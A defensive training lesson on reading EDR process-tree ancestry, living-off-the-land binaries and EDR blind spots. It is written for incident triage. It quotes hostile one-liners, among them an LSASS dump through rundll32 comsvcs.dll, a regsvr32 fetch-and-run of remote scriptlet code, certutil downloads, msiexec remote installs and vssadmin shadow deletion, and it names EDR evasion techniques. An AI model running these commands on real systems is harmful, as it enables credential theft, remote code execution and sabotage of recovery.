Skip to content

Lesson 8 of 14 · 15m

EDR Process Trees and LOLBins

Reading a process ancestry chain, the signed Microsoft binaries attackers proxy through, and the places EDR can't see.

The EDR console's process tree is the closest thing triage has to a flight recorder: every process with its parent, command line, signer, hash, integrity level, image loads, network connections, and file/registry writes. Reading that tree — who spawned whom, and whether the ancestry makes sense — is the core skill. winword.exe → rundll32.exe → powershell.exe -enc <base64> is a phishing macro firing a signed-binary proxy chain: T1566 into T1218.011 into T1059.001, legible in one glance if you know what normal trees look like.

The ancestry read

Normal trees have normal parents: explorer.exe spawns user launches, services.exe spawns services, wmiprvse.exe spawns WMI providers, svchost.exe does service work, browsers spawn renderers with their own names. The indictments are ancestry that violates expectation: Office apps spawning script interpreters or shells; sqlservr.exe spawning cmd.exe (xp_cmdshell); w3wp.exe spawning anything odd (webshell on IIS); a signed binary with a temp-folder or user-profile path; parent processes with no plausible relationship. Then the modifiers: unsigned or mismatched signature, -enc/-encodedcommand flags, WindowStyle hidden, download cradles (IEX, DownloadString), command lines with junk padding.

LOLBins: the attacker's free toolkit

Living-off-the-land binaries are signed Microsoft executables with dual purposes — proxy execution, download, encode/decode — that don't trip signature detection because they are Microsoft:

  • rundll32 — runs DLL exports; rundll32 comsvcs.dll, MiniDump <pid> out.dmp full dumps LSASS with a Microsoft binary.
  • regsvr32 — the squiblydoo bypass: regsvr32 /s /n /u /i:http://host/file.sct scrobj.dll fetches and runs scriptlet code.
  • mshta — executes inline VBScript/JScript and remote .hta payloads.
  • certutil — -urlcache -split -f <url> out downloads files; -decode/ -encode reshapes payloads.
  • bitsadmin /transfer, msbuild/installutil/regasm (inline-task compilation), cmstp, msiexec /q /i http://…, wmic process call create, schtasks, esentutl /y (copies locked files — ntds.dit, SAM), vssadmin delete shadows /all (T1490 — inhibits recovery, the ransomware opener).

The loldrivers project maintains the driver counterpart: signed-but-exploitable kernel drivers attackers bring (BYOVD) to kill EDR from kernel mode — RobbinHood ransomware did it with a vulnerable Gigabyte gdrv.sys back in 2019.

The wrong mental model

"EDR sees everything" and its cynical twin "EDR is useless" are both wrong. EDR is a recorder with a detection engine, and it has defined blind spots:

  • User-mode hook bypass. Most endpoint sensors intercept API calls by hooking functions in user-mode DLLs. Direct syscalls — Hell's Gate, SysWhispers-style — skip the hooked layer entirely.
  • ETW/AMSI patching. AmsiScanBuffer and EtwEventWrite can be patched in-memory in the attacker's own process so script content and telemetry never get reported.
  • BYOVD/kernel attacks. A legitimately signed vulnerable driver loads, then kills or blinds the sensor from ring 0.
  • Egress filtering of the agent. Elastic Security Labs documented EDRSilencer in October 2024 — it uses the Windows Filtering Platform to block the EDR service's outbound connections. The host goes "quiet" in the console not because nothing happened but because the sensor can't phone home. Console silence ≠ endpoint silence.
  • Fileless/memory-resident work. Reflective injection and in-memory payloads leave minimal file telemetry for the recorder to catch.

Evidence and practice

MITRE's ATT&CK Evaluations measure exactly this per-vendor: what each EDR detected, what it recorded only as telemetry, and what it missed — the difference between "detection" and "telemetry" in those results is the difference between your console alerting and merely having data you'd have to query.

The practice is corroboration. An EDR tree verdict gets checked against independent witnesses: DNS query logs, Zeek conn.log, proxy logs, the remote side's own artifacts (a DC's Security log for the claimed logon). EDR "clean" plus network telemetry that's screaming means trust the network and hunt the endpoint harder — the sensor's blind spot list is exactly where it might be wrong. And know your vendor's isolation feature before you need it: Defender's Isolate device, CrowdStrike's Network Contain, SentinelOne's Network Quarantine — network isolation while keeping sensor reach is the whole point of the feature.

Was this lesson helpful?

Sign in to rate

Keep reading

Related articles from the SudoSecurity blog.